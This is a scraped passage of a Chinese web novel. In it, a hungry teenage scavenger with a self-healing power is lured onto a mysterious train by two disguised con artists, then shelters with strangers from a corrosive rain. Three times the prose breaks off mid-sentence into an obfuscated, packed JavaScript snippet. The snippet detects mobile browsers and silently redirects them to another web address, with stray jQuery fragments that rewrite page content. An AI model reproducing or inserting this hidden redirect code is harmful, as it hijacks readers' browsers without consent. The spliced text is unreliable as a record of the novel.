《光明副本》
1. 骗子害人(一)
光明登上列车看到的就是这幅场景:
车厢中光线黯淡,爆裂的灯管被电线缠住,摇摇欲坠,地面横七竖八地躺着玻璃碎片,她刚进入列车时,天空晃着生锈的橙色,可这列车车窗上却是墨黑一片,更让光明感到离奇的便是车厢里有一股淡淡的幽香。
那是什么味道?花香吗?
光明不清楚,她离家出走后,捡垃圾多年,再也没闻到过这样的香气。
香气萦绕在一派破烂中,沁人心脾,可光明不敢再闻,虽然她活了17年从来没坐过这样高大上的交通工具,但她也知道这列车太过古怪。
光明转身欲走,可哪里还走得了呢?
列车门“砰”地一下关上了。
光明叹气。
“叮咚——”
“叮咚——”
怎么回事?
【系统激活成功】
【主神系统为你服务】
【光明列车运行开启】
【启程站:巴别塔】
【终点站:巴别塔】
【荣幸再次为你服务,测试者资格核验中……】
【属性:自愈】
【文明资格评定:0】
【灵魂完整度:0】
“嗯?”她伴随着脑海里的声音环顾四周,只觉得一切都愈发诡异。
主神系统?这是什么?
光明列车?
……撞名了哈。
启程和终点是同一站……这列车是把我溜了一圈吗?
我靠……属性自愈,再次服务,文明资格,灵魂完整,合着我是一个灵魂不完整还反复通不过关的小菜狗吗!
不对,自愈……
我的信息被贩卖了?靠啊卖了我还不分我钱……等等?我不是去打工的吗?我不是去捡垃圾的吗?现在是怎么回事!
——
八天前:
“世道浇漓,不忍卒睹啊!”
C市第四区,机械加工厂外。
“老坑,你唔好喺度吱吱喳喳啦,快啲過嚟攞飯食!”拿着把大勺子的硬汉颠着口大锅,忙不迭地炒菜。这硬汉一看就敬业,卖力得汗水四散,这汗液直直从硬汉健硕的肌肉舞进那口大锅里。
“对的咧,先吃饭!老爷爷,先过来吃饭吧,您照顾好自己,再几天就可以回家啦!”志愿者小姑娘担心面前杵着木拐杖的老爷爷听不懂,边说边连忙用手招呼着。
老头仰天长叹,无奈大怒一声:“呜呼!不知所云!”随后还是灰溜溜地被小姑娘搀扶着去领饭食了。
这样的声音此起彼伏,在C市第四区喧嚣不止。
此时此刻,机械加工厂外一道小巷中:
“小姑娘,你这就不要和我抢了吧。”这人看起来只30多,形销骨立,衣衫褴褛,但格外的高,一米九左右。
他不知道从哪里捡了个不合适的烂伞柄做拐杖,这伞柄太短,这人原本跛行得乱七八糟,如今便是弯着个大腰走得一塌糊涂。
中年人朴素的装扮和他身后的世界格格不入。他身处一条笔直的巷道,从黑暗里延展出去,沿着乌黑的电缆看去,在他身后矗立的便是整个灯红酒绿、光怪陆离的视觉冲击。
以及那句“不知所云”荡漾全街。
人类进入科技文明后建筑风格大改,鳞次栉比的高楼密集耸入云霄,空中轨道照耀长夜,管道和缆线在“银”装素裹的建筑群中盘旋交错。
这条黑巷子里,光明正在和一个破破烂烂的小机器人一来一回地抢夺手里的一小片合金骨架。
这机器人个子小,脸上被人锤了一拳,整张脸全是显示装置的碎玻璃,稀稀拉拉烂成个蜘蛛网状,自然无法在黑暗的环境里发光,这倒也方便它隐藏,反正光明刚刚捡垃圾的时候就没发现它。
再几分钟前。
光明翻了垃圾场半天。手,肠子,假牙,粘着浑浊的四角裤应有尽有,她还舔了几口充满腐烂菜味的牛奶。
偏偏没有她想要的。
这些东西一不能果腹,二不能用来果腹。
光明有些丧气,也想要仰天长啸,不过她可不能放弃,她太饿了,都好几天没吃饭了。她没有任何资格评定,不能像那个老头一样去讨一口混着汗液的救济粮,只能闻着饭香在一边捡垃圾。
正祈祷着,黑黢黢的垃圾堆里突然伸出一只厚重的手把她拉住,还在她手上浅浅地敲了敲。
她估计是饿昏头了,也不怕,反手一摸,回礼敲了敲。
等等?不是幻觉,真还是硬的……
饭来也!
她三两下把这块东西提起来,发现这小机器人怀里还抱着一片合金骨架。
这不两全其美?
光明美滋滋,提着这机器人的手臂往巷道外走。
没料到才走了几步,这机器人又在她手背敲了敲,光明把它提起来,疑惑打量。
那机器人缓缓睁开透亮的眼睛。
“哐——”
机器人往她脸上来了一拳。
“靠!什么玩意儿啊!”光明捂着鼻子骂了一声,刚刚的好心情顿时烟消云散。转眼间,机器人的脚就快到达她胸口,光明咬紧牙关,眼见来不及避开,只能狠下心任由它踢,抓着它手上的合金死死不放,借着力夺过,她忍着疼痛,转身就开始跑。
服了!这么矮怎么还是个战斗型!
光明早已饥肠辘辘,全身发软,使不出一点力气,只好转身就跑。
战斗型机器人看到手的合金骨架跑了,也立马追了过去,嘴里还疯狂嚷嚷着别跑不准跑不要跑。
光明简直难以置信,跑得更快了。
这条巷道很长,被修建在两座高居住楼之间。
C区人很多,建筑群密集,除了必要的地面道路外,很多通道其实都设在空中,不过,像这样的巷道也很多,主要是方便人在地面通行,缺点就是太窄了。
光明边跑边骂,好几天没进食的身子跑起步来摇摇晃晃的,大脑几近晕眩。
小机器人和光明的距离越来越近,跑起来哐哐当当的噪音渐渐减小,它就这么看着眼前披头散发的疯女人从不倒翁变成了矫捷的丧尸。
终于!
在挨了一脚后,光明还是被追上了。
一人一机器人继续采用最原始的争夺方式——抢。
等中年男人出声后,光明下意识循声望去,担心是否还有其他人要跟她抢这块小骨架,不料却被男人身后的霓虹灯晃了下眼睛。她不适眯起,手上的合金骨架也因此被抢走。
靠。
光明眨眼适应灯光,看着这机器人屁颠屁颠地跑到那男人身前,电流声混在它初始设置的浑浊人声中,听起来很高兴:“大哥!我捡了合金片呢!”
光明皱眉,把脚边腐烂得不成样子的手踢开,这些垃圾特别容易打滑,她之前好几次逃跑不成就是这个原因。她拧着眉,极其不耐烦又不要脸地对中年男人说:“喂,那是它抢的我的东西。”
听到光明这么说,那小机器人顿时不满意了:“她撒谎!大哥!这是奇奇找到的!奇奇一直抱在怀里!很谨慎的!”说着它收紧抱着钢板的手,一张什么表情都没有的铁皮脸冲着光明,然后飞快地转开脸,以此来表示它的不满。
中年男人摸了摸那小机器人的脑袋:“没事奇奇,这不重要,你的身体还好吗?”
光明啧了一声。
小机器人点点头,反复抽长自己的小短腿,雀跃地回答:“大哥,奇奇很听话,充满电再出的门!今天也没有磨损!”它说完才听明白话里面关切的意思,补充着笑了几声,“嘿嘿。”
光明看不惯他们这样惺惺作态,在她看来,这样的小机器人虽然行动敏捷,力量强,但它的耗电实在太快,一般情况下都逃不过被拆解的宿命。
像这个小破烂一般都是被人捡到,胡乱修了一通,然后小破烂们会将阴差阳错赋予它们第二次生命的人视作它们最信任之人,为之赴汤蹈火,为之心甘情愿。
等再过些日子,主人的新鲜感过了,便会打起新的算盘,美名其曰“废物
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343036|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利用”。主人们很大概率会用破烂身上的零件去换一顿吃食,那可能是这些人这辈子吃得最好的一次。
光明想到这一点,撇嘴说:“搞什么?你留着那坨浪费资源的铁还不是要卖的?还不要紧,不要紧就把那片合金给我啊?”
叽里咕噜的,尽说废话。
“哦,对了,这坨铁刚刚还踢了我一脚,它是你的,这又怎么算?”
光明说这话时一点儿也不难为情,她没觉得有半分的尴尬。毕竟都饿得几近晕厥了,谁还在乎人的那一丁点体面?
男人盯着光明看了半响,又被光明瞪回去,他摇摇头,低头对机器人说:“奇奇,把这个给她吧?好吗?不要紧,今天的食物是够的。”
这又是在做什么?
光明脑子里才构思好的无赖语录还没说就被堵了回去。
奇奇听后犹豫着将合金递给了光明,并老实说了声:“不好意思。”
不给还好,给了光明心中反而更不爽了。她用力接过,潇洒地昂了昂下巴,打算马上离开这鬼人和鬼铁待的鬼地方。
这个世界被人类和人造物占据各种资源,科技至上的时代没有绝对的知识或者家庭的支持是根本不可能过得上“生活”的。
生活和活着之间有着不可消弥的鸿沟。
在人类近200年地探索下,一共发现了4颗勉强可供人类居住的星球,按理说四颗星球肯定足够人类居住了。
可事实上,人类探索这些星球也只堪堪两百年,其中100年人类在“沉睡”,离地球最近的R星在全人类苏醒后开始投入建设,其后经历了“洪水期”的人类开始忧惧。
所谓“洪水期”,简而言之,就是一场贯穿整个世界的降雨,这场降雨来势汹汹,人类在雨中沉睡,雨水滔滔,积成洪水,将不同时间、不同地点的人类搅乱。
不是“不知所云”这句话在这个科技时代,而是言“不知所云”的人来到了科技时代。
“洪水期”之后,联邦大量投资其他三颗星球的建设,设定“人类百年迁移计划”。
但在计划执行仅5年后,联邦突然宣布计划全面搁置,向全体人类致歉,对外宣称资金和技术无法支撑迁移计划的开展,联邦将着手地球资源的再生、保护和节能。
如今地球人类数量和自然资源岌岌可危,数亿年的资源积累支撑不了人类的贪婪,更帮不了人类实现再一个万年、千年、甚至百年的延续。海洋占地球表面大概83%,而陆地占比17%,此外沙漠占陆地面积为68%,人类可使用面积大概1380万平方公里。
所以“生活”对于光明这种残次品而言从不存在,她的人生充其量不过是为了“活着”。
活着不是一个好词,她需要每日为此扯下脸皮和人争执。
光明看惯了这样的戏码,人类总展露假意的温热来安抚猎物,最后一招制敌,抛却之前高谈阔论的总总美好,她可不敢再相信任何人。
生存在她的世界里从来都不是什么容易的事,以至于她自认为十几年来唯一一次生出的良善也苟活不过短短半小时,在她十四岁那年完全寂灭。
“小朋友。”男人的语气很淡,不急不躁。光明闻声顿足,重重地深吸了口气,还是决定转过身去听那人要说什么。
小巷两侧都是有住人的,不过这些住户并没有安置窗户,毕竟在这座城市里空气污染远远小于噪音污染。故而巷道总是整个街道中最安静的地方,但街道中环境污染格外严重,简直臭气喧嚣。
不过光明闻惯了,倒也不觉得有什么。
她的表情烦躁,听着那男的淡淡地说:“你也是残次品吧。”
“还没有工作?是找不到工作吧,那你还没成年呢小朋友。”
光明按耐住把他拐杖踢掉的冲动,翻了个白眼:“干嘛。”
她成没成年和他有个屁的关系。
男子或许察觉到了光明的意图,用力挺了下摇摇欲坠的腰杆,将手里的拐杖握紧了几分,笑着递出一张纸条,说:“这个给你。”
2. 骗子害人(二)
男人友好地伸出手。
那是一张车票,光明“毫不在意”地瞟了一眼,她从来没见过车票,觉得很是新奇。
那上面有一座高塔的模样,高塔科技感极强,蓝色调包裹着闪耀的金属光泽,塔缝里还透出刺眼的白光。这高塔看起来也极高,整个车票无法将它装下,只能堪堪看到高塔的方形的底座。
在高塔角落还有一颗绿油油的树,树木绿意森然。
在整个车票的靠左位置写着“巴别塔站BaBieTa”,应该是起始站,右边也写了这几个字,用单向箭头相连。
在箭头下方写了个英文的“光阴”,光明有点看不懂,学过的英文早在流浪生涯中忘了个通透。此外,最下方还有一条中英双语写着的“报销凭证,遗失不补,退票改签时需交回车站”,以及一个小型指引地图,将她现在的位置标注了出来,这个光明看得懂。
她问:“什么意思?”
男子解释道:“站的终点会有……”他顿了顿,眼睛包在眼眶里打圈,“会有一些招未成年的工作,你诉诉苦,让他们包吃包住,幸运的话,工资还会有富余。”
光明之前尝试过找工作,但都无果,人的善心在严格的秩序之下不值一提,她无法在科技时代获得任何工作。
自从离家出走之后,她本就一天一顿全靠异能才能支持着的身体,如今几天才进食几口,她的状态真是史无前例的差极了,身体每天都在发出警报。
她就像是一颗本身就扎得不深的树,好不容易摇摇晃晃,在尘嚣和恶臭里长大了,结果长得怪模怪样,枯黄的躯干还差点歪进土里。
光明一把扯过车票,毫无感激之情地说了声:“谢谢。”
男子一怔,眯着的眼睛飞快地眨了两下,光明狐疑:“干嘛?”
她不都说了谢谢了吗?
“没…没有……”他没有想到光明居然接受得如此理所当然,如此干脆,如此不合逻辑!她甚至都不打算问为什么自己要给她这个玩意!男人按了按小机器人来缓解尴尬,自顾自继续说:“小朋友,我腿脚不方便,这个票你就拿好吧,算是抱歉,东西给你也算是物尽其用了,你路上注意安全。”
光明撩了一眼,没回答,走了。
片刻后。
那短腿机器人露出了一道清晰的女声:“她咋回事?就这敏感度,她这次能成功吗?照这样,我们把她卖了估计都不会被怀疑。”
男人将拐杖随手一丢,渐渐直起腰,眯着眼睛带上一副豹纹框眼镜,视线顿时清晰:“不知道,反正我感觉这次特别暴躁,你给她下坐标了吧。”
“你以为我是你吗?”
男人边笑着说那就没问题了,一边摘掉假发,露出一头白金发色,狼尾造型,那头当然不只一个颜色,粉色挑染在层次的尾端。
他开始犯贱:“要不奇奇你也跟着去吧?多个保障~”
小机器人闻声大怒,沾满垃圾的脚踩在了男人鞋面:“下次换角色,老子差点没追上她,都快饿死了还跑那么快。”她话音一转,用脚指着被扔在一旁的“拐杖”,昂着下巴说,“傻缺,你又乱丢!还不捡起来,等会儿她万一回来怎么办?”
男的满不在意地摆摆手:“你觉得照她这次的敏感度可能发现吗?”虽是这么说,但他还是规规矩矩地捡了起来,把假发也连着乖乖地戴了回去。
奇奇:“骚得要死。”
……
片刻后,光明果然回来了,她紧紧抱着手里的合金,很不好意思地问:“咳,打扰一下,回收站怎么走?”
——
和跛子告别的第二天,白日。
一声粗犷的声音在光明附近炸响:“唉哟,怎么又下雨了!还让不让人活了啊!”
雨的涩气沁在空气里,又冷又冲,光明皱皱鼻子,蹲在便利店门口望着外面突如其来的暴雨。
雨水噼里啪啦一顿洒在地面,又很快地经全区排水系统排进改造过的下水道。
昨天太晚了,回收站早就关门了,她就在门口睡了一觉,一觉醒来那块合金片就没了,她去质问回收站的工作人员,提出要看监控,结果根本没有人搭理她。
谁会专门浪费时间去找是谁拿了那一块破垃圾?
光明没办法,自己生了一路闷气跟着车票上给出的地图走到这里,又突逢暴雨,现在她依旧是饥肠辘辘的状态,简直霉爆了。
这家便利店已经关闭了,门锁得死死的,几个人和光明一样的遭遇,此刻坐在便利店门口的椅子上抱怨,光明就是被这些人啊啊咂咂的交谈声中吵醒的,现在脸上还带着不耐烦。
光明按照车票上的指示路线走,这边已经远离了市中心,地方稍微开阔了些。
这家便利店孤单地被开在街角,但勉强算得上幸运的是,这便利店门口提供遮雨的平台足够大,五个人绰绰有余,不然还得打一架。
光明望着淅沥的雨发呆。空气里夹带着淡淡清洌的香气,是花香、是树叶香、是风的味道。
科技时代总会让人产生“日新月异”之感,但这些花花草草的存在就刚好消弭了正突兀流逝的时间。
光明觉得雨水滴落在地上的声音额外有意思,是在闹市区听不到的新奇。她放眼看四周,在雨幕里,世界好像就只眼前这几人存在。
空旷寂寥。
也正因如此光明被迫听到了不知那些的残次品“整容”史,这个世界关于人的分类和寿命有关,孩子出生后就会进行基因检测,部分优秀基因会被分为公民,剩下的便是残次品。
他们似乎对自己的身体和基因都极其不满意,言语间都染着对这个社会的埋怨,从不知道谁的童年经历到结婚再到离婚……最后在破口大骂后陷入深深的沉默。
“唉,这便利店为什么不开门啊?”一个扎着辫子的女人说。
“谁知道了,你自己看看,就算开门了这里面还有什么东西可以吃?”高个子男说,他就是刚离婚那位。
“对哦。”
光明听着也朝便利店里望去。那里面陈设着很多食物以及生活用品,可惜每一个物件都落了层厚厚的灰,一些塑料似乎早就破碎,裂隙也被灰尘填满。
至于原因,据光明所知,这场雨其实下了一个世纪……
“啊——”女人喜出望外的惊呼中断了光明的回忆。
“要破了。”
“是啊,太好了!太好了!”那男的吞咽了几回口水,附和说。
关于那件能让众人在暴雨中兴奋的事情——售货机快破了。
售货机在便利店外,靠着街角的墙,至于售货机为什么破了,还是要说到这下了一个世纪的雨。
自几千万年来,人类历史罕见的有了空白。
那一整个百年,雨水连绵,人类已经无法再用科学来推测原因,只能靠人的意识来揣测。
人类只能想象,虚构故事以逻辑自洽。
圣经中有一个故事,是这样的:
人世间的暴力和罪恶简直到了无以复加的地步,人们不得不付出艰辛的劳动才能果腹,因此怨恨与恶念与日俱增,上帝后悔造了人,想要将所造的人和走兽昆虫以及空中的飞鸟都从地上消灭,他希望新一代人和动物能够听话,他渴望建立一个理想的世界。
上帝需要新秩序。
这时挪亚在上帝眼前蒙恩,上帝告诫挪亚,七天之后就要施行大毁灭,要他们用歌斐木造一只方舟,只有方舟里的人和动物的种子才能安然无恙。
挪亚一家作为新一代人类的种子保存了下来。
上帝因人类的罪恶决定用洪水灭世,挪亚受上帝指示建造方舟,带领家人和各种动物躲避洪水。
而在科技时代的那个广为流传的故事是这样的……
上帝下了一场雨,整个世纪,大雨滂沱,洪水肆虐。
这次人类没有诺亚方舟,这当然也不是新世界的洗礼,这是一场关于时间和空间的暴雨,人类在洪水里长眠,顺从地,让上帝洗涤灵魂中的罪恶。
这次的洪水也不单单只是几个7天,而是整个百年。
百年后人类苏醒,世界混沌、大乱!
这些混沌远不止在于表面的无秩序,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343037|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在于人类。洪水将不同时间、空间的人类清洗至世界历史的各个角落。
如今的科技时代,居然也能罕见地听到古人言古语,换句话说,你可能突然在如今的某一天看见看见你的老祖宗滔滔不绝地说着你听不懂的语言,在基因检测匹配后,你还得赡养自己的老祖宗,直到祖宗回家。简直万世同堂,简直荒谬又可笑。
相应地,秩序乱了,人也就乱了,昨天还在对话的朋友,睡了百年后,也就是记忆中的第二天,人就不见了,还并不是因为他已经被冲洗到了历史中哪个不知名的角落,而是因为他的老祖宗还没生下他就和他朋友面基了。也就是说,幸存总是偶然,活着是幸运的。
人类在历史进程中总是团结的。
人类社会重新架起秩序,能相聚的亲人相聚,能合作的人合作,语言不通时代不通观念不通就相互学习。
渐渐地,文明被续上了,人类也以此百年为教训,开始更加奋力地投入科技研究,十年后,科技时代开启。
但离谱的是,在这十年中,在科学主义之下,竟然有越来越多超能力者出现,这些超能力者驾驭非科学的能力,也被称为异能者,异能者配合科学实验,在一众人的帮助下,人类文明躲过了因新事物而紊乱、需要调整的阶段,再上一层楼。
科技时代后再十年,这十年是调整期,人类已经掌握了时间法则,成立了专门的调序员将一些并不适合出现在该时代的人送回至他们所属的时代,以恢复被紊乱的秩序。
这项坐标归送计划进展得很慢,有些人爱慕这个时空不乐意回去,有些人忘记自己是哪里的了……历史也总是和真实之间存在差池。
可为了人类后代发展,这项计划也不可能被搁置,联邦调动异能者,准许他们使用强制手段,除一些模糊的时空问题外,绝大多数的人已经被送回了他们应该呆的时空,并且消除了不属于他们的记忆。
但在科技时代开始的第一年,又开始下起了瓢泼大雨。
这场雨和以往的不一样——这细雨开始带上了腐蚀能力。
在科技的支持下,人类对这样的雨控制得当,建筑材料早就改造升级,排水系统和改造地表都很好地起到了防腐蚀的作用。
说来也很有趣,光明的异能就是在接触这场雨后被激发的,她很庆幸自己的“自愈”,让她没死在那场酸涩冷雨中,并且活到现在——科技时代第十一年。
“哐——”
售货机破了。
便利店门口包括光明在内一共五人,三女两男,大家不自觉地放正身子,迷失在怅然中的众人点燃一丝欲望引线,心思攒动。
“我受不了了,”一个清瘦的男人说着,换了一个起跑的姿势,混吞口水,眼睛死死依旧盯着“猎物”,他太饿了,他等不及了,他要吃东西。
这男子叫夜生,这并不是个多么文雅的名字,据他所说,他是夜晚生的所以叫夜生,不跟父亲姓也不随母亲姓,反正也没有户口,他说他是跟老天姓的。
他生得并不强壮,身高在一米六五到一米七之间,架着银框眼镜,光明觉得他瘦弱得会被这雨直接捅个窟窿,她看着男人还在打颤的腿,嘴角微微抽搐了一下。
真弱。
“去吧去吧。”那个高一些的男人推了他一把。
这人的声音粗犷,眼睛如捕猎时的豺狼,牢牢地盯着那售货机。光明扫了他一眼,感觉嘴角可能抽筋了。
自己不上让别人上的怂货。
“别……不行的。”扎辫子的女孩子犹豫说,她叫望舒,她说这是月亮的意思。
见她要阻止,高一点的男人慢悠悠转回脑袋看她,目眦欲裂,慢吞吞地吐出几个字,威胁说:“你、在、说、什、么?”
望舒不自觉后退一步,目光闪躲,但还是坚持对夜生说:“你出去也只有死,你还要出去吗?”
夜生听后,注视着冒着细微白烟的雨水,还是扭捏着把腿收了回来。
那男子不罢休,认为望舒多管闲事,转身一拳向她挥去:“傻币女的!你他玛德不饿啊?在这里装什么清高?”
3. 骗子害人(三)
这男的一脸疯相,还有暴力倾向。
见状,光明一个健步闪到了望舒面前,出手挡住了那一拳,狠狠地掐住男子的手腕。
另外一个高一些的女生抱臂,几乎是和光明一齐挡在望舒面前,见光明已经了稳定局面,高个子女生选择默默使力,露出胳膊上的肌肉,自信勾唇,挑衅地向下看那男子。
光明松开钳制住男子的手,再看向这男的时,他顿时也不呆滞疯魔了,眼里全是自卑。
光明咧嘴盯了眼女人,在心里简评:良医。
“……那、那你们说怎么办?”他仿佛顿时泄力,整个人像是没了脊椎,头垮下,眼神空洞。
光明想了想:“那要不你去吧?我多给你件衣服。”
光明作势要脱外套,那男的连忙摆手:“别…别,我不行的,我不想去,我不想去……”
光明也学着他的样子摆手:“那不就得了,大家一起饿死在这吧。”
她其实也饥肠辘辘,但是那又怎么办呢?她不是个大好人,也不相信这里有大好人。她总不可能凭着自己的自愈,冲进雨里去拿那些很有可能被这剩下的人“蜂拥而至”的食物吧。
恰好就这时,意外生发,夜生居然在众人一致阻止后开始提腿往外冲!
“砰——”
刹那间,光明还没来得及思考就拉住了他。
咋又病一个?
她将男子的衣领提起往后拽,一股无名火:“你不要命了吗?”
光明最见不得无端放弃自己生命的人。
烦。
夜生也不知道怎么的,缩起了脖子,头也不抬。他的手死死拽着衣角,指尖还在紧张地摩挲着,在这安静的一呼一吸间,全是他快要爆炸的心跳。他再抬起头时,稀里哗啦的泪水连续不断地滴下,哭了几声,颤颤巍巍地开口:“对…对不起。”
“我还是不勇敢。”
光明欲言又止,爹的这和勇敢有什么关系吗?这是纯纯疯了吧。她不理解,又觉得自己吐不出什么好话,老老实实闭嘴了,冲着其他人抬了抬下巴,她想要表达的意思应该是:你们上,我控制他。
望舒看着光明,亮晶晶的眼睛酿出了笑意,她拍了夜生的肩膀:“没关系,你这样已经算是勇敢的了。”
望舒继续说:“至少比我厉害呀,我都不敢出去呢。”
夜生微微抬了头,眼睛里闪烁着期待。
“再说,你以为你出去就算勇敢吗?”
“没有人会记得你。”
光明:“?”
夜生的头顿时垂得更低了。
这些话给夜生听得一愣一愣的,稀里哗啦、蔫不拉叽的脸加上一个懵逼的眼神,活脱脱一个傻缺样。
他听得云里雾里,不知所云,无论是自己的行为还是面前小姑娘的这番话都让他大脑空空。
大概就听懂了最后这句话,只觉得自己滑稽的可笑,耳朵都羞红了。
望舒或许是明白了,身上也没有纸巾可以递给他,只能笑一笑,用衣袖在脸上假装擦了擦,笑着提醒夜生去擦脸上乱七八糟的口水鼻涕。
她试图挽回:“我的意思是你没必要冒着濒死的风险……去为我们演示被这雨淋了该怎么死……”
她说完感觉越来越不妙。
光明已经被这小姑娘安慰人的话折服了,连那个高个子男人也顿时瞠目结舌……
但幸好,傻缺果然是傻缺,夜生看起来似乎还是没听懂,望舒又说:“你很勇敢,勇敢的人不应该先死,更不应该平白无故地去死。”
听到这句话后,夜生顿时恍如圣光普照,呆呆地看着望舒擦露出傻笑,边笑边摸掉了脸上的“浆糊”,又认真地听她讲话,边讲边点头。
高个子女生轻咳了一声:“呃,有点冒昧……不过我们不可以等雨停吗?”
众人:……
还是望舒回答了她:“这雨会连续下七天……一直都是如此。”
高个女生点点头:“哦,这样啊。”
光明恰到好处地挑眉:“你不知道?”
高个子女生一脸懵,一张很英气的鹅蛋脸显露出了几分赧然,她呵呵一笑:“其实我刚从A市过来,来之前专门在网络新闻上看到过这边的情况,但不知道居然这般严重呢。”
联邦一共分为四个市,大家简单地按照科技发展程度分为A、B、C、D市,每个市之间有着天壤之别。每个市四个区,区之间也依照科技发展程度来划分,光明就是从D市第四区一路捡垃圾捡到C市第四区来的。
每个市的生活消费水平不同,第C市垃圾更多一些。
眼前这个高个子女人,身材高挺,肢体也没有明显的改造痕迹,眼睛清明,站在这群残次品里简直“鹤立鸡群”。
“你有异能吗?”光明懒散地靠在便利店的门上,仔细打量这个高个子:她和别人不同,背了个大背包,这背包看起来虽然重得离谱,但这人背着却有一种别样的精气神,仿佛她感受不到这背包的重量似的。
在之前的交谈中有人试探她包里有什么,她毫不避讳地展示给大家看,里面密密麻麻地都是书本和小型仪器。
光明听见她说:“没有哦。”
或许是考虑到光明对自己身份的好奇,她很和蔼地说:“我是A市一名刚毕业的学生,专业保密,”这人在谈到自己的事时会露出格外专注的神色,炯炯有神,“哦,对了,我叫顾森。来C市是为了做区域实地考察。”
顾森看着光明皱起的眉,爽朗地笑了一下:“我很喜欢你哦。”
光明:“……哈?”
她都有点不敢抬头看顾森的眼睛了,在脑子里挑挑拣拣半天,终于选出一句话:“哦。”
顾森开朗一笑:“你叫什么名字?”
“光明。”
顾森拍了拍光明的肩:“我很喜欢你哦,光明。”
光明摸不着头脑。A市的人都这么热烈吗?
……
哗哗细雨下,很快已到黄昏,暗橘色的天空像生锈了,突然不知从哪里冒出一声“咕噜”。
夜生摸着肚子喃喃:“好饿啊……”
以“咕噜”声为信号,那个高一些的男的又发起了神经,小声霍然嗷叫起来:“草,劳资真的受不了了,我真的不行了啊……”
饥饿是恶魔,吞噬了他的身体,让他惶惶不安,他的眼眶拉大,呼吸急促,浑身剧烈颤抖:“……玛德……你不是要滚过去吗!去啊!”
他抬手按住夜生肩膀,旋即伸出脚狠狠一踢。这一次没有人帮他,没有人反应过来要帮他。
“啊啊啊啊——”
“啊啊啊啊——”
夜生顿时在雨幕里抱着头,在地上痛得打滚。
靠在角落睡觉的光明被这一声喊叫吵醒,而顾森蹲在光明旁边全神贯注地看研究报告,分毫没有因为这一声有半点反应。
光明睁眼就看到了夜生在雨里打滚,望舒在雨幕前无措地看着,而那高个男正发着抖,一直无声嗫嚅着“怎么回事”,但手上的动作却是想要把望舒也推进雨幕中。
“靠……”她很收敛地只骂了这一句,其他乱七八糟的话全部被吞回肚子里。
有人喜欢果然不一样。
光明刷得站起来,转眼间就到了望舒面前,她把望舒拉到靠后的位置,一手划出,想要拷住那男的的手臂,但被他躲过,男的猛地就要冲光明扑来。
光明低身躲过,旋身狠狠往他膝盖窝踢。
“哐——”男子重重跪下,他面色很难看,像是覆了一层青色的土,他开始胡言乱语:“这是哪里?这是哪里!我为什么会在这里,为什么是这里?”
光明皱眉又往他脸上踢了一脚:“胡说什么?”
随即她三下五除二将自己卫衣帽子盖上,合着心底里的滔天乱骂冲进了雨里。
她将夜生提起往里拽,嘴里骂蠢:“痛死了还不知道滚回来,你踏马的往里面滚啊。”
夜生终于听懂了,开始滚动自己的身体,也是真的蠢,又滚反了。
光明气得话也说不出来了,把夜生一脚一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343038|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚地踢进便利店门口,他仍旧下意识乱滚,又被才跑进来的光明踢了一脚,顿时四肢朝地。
夜生手还四处扒拉,似乎在找眼镜,可哪里还有眼镜?连镜框都被腐蚀完了,没找到,他又继续躺在地上嘶吼。
他的嘶吼声听得人心发怵。望舒拧着眉,脱下外套裹在了夜生身上,自己被冷得打了个寒噤:“你还好吗?”
夜生轻吼了一声,转过头来瞧她。
可这一看,让望舒的手顿时失力,无力垂下。
太吓人了。
夜生脸上全是密密麻麻的小窟窿,小窟窿周围仿佛被灼烧,涌起表层的肌肤,还在一起一伏,身体的皮肤也逐步脱落,血从破损的皮肤涌出,上一秒还在愁着吃饭的傻缺,下一秒活脱脱成了个血人。
再看他滚过来的痕迹,全是血红的。
生锈了的天空下着密集雨水,整个世界昏黄的不真实,雨水淅淅沥沥,噼里啪啦,混在夜生的痛叫声中。
忽听一声傻笑,光明回头就看见那高一些但同样傻币的男的在舔水洼,本就不够强壮的身体完全折叠起来,跟竹节虫一样贴在地面,极其神圣地跪坐着,痴迷地吮吸着雨水。
我靠!简直精神污染!
光明觉得,刚在雨幕下被戳的窟窿还在隐隐作痛,刺痛,尖锐得弥散全身的痛,真的比不了此刻的心痛。
她不忍直视,嘴角连连抽动,只觉得这世界太歹毒了,凭什么她周围这么有多傻缺!
气到这,光明觉得自己可能真的被精神污染了,嘴间似乎浸了口酸涩的味道。
过了几秒她才反应过来,这雨水她也是舔过的。那是她饿得吃土的时候,饿得浑身无力,只能躺在地上,周围什么也没有,她只能听见砰砰雨声,像是砸进了耳膜中。
她想着死吧,死前尝尝这水,能充饥最好了,不能也至少尝个味道。她伸着舌头向外接了几口,这是光明第一次感受腐雨,也是第一次意识到自己异能的效果。
那雨水当真是又辣又痛,在她嘴唇和舌头捅出的小洞过了一两个小时才恢复。
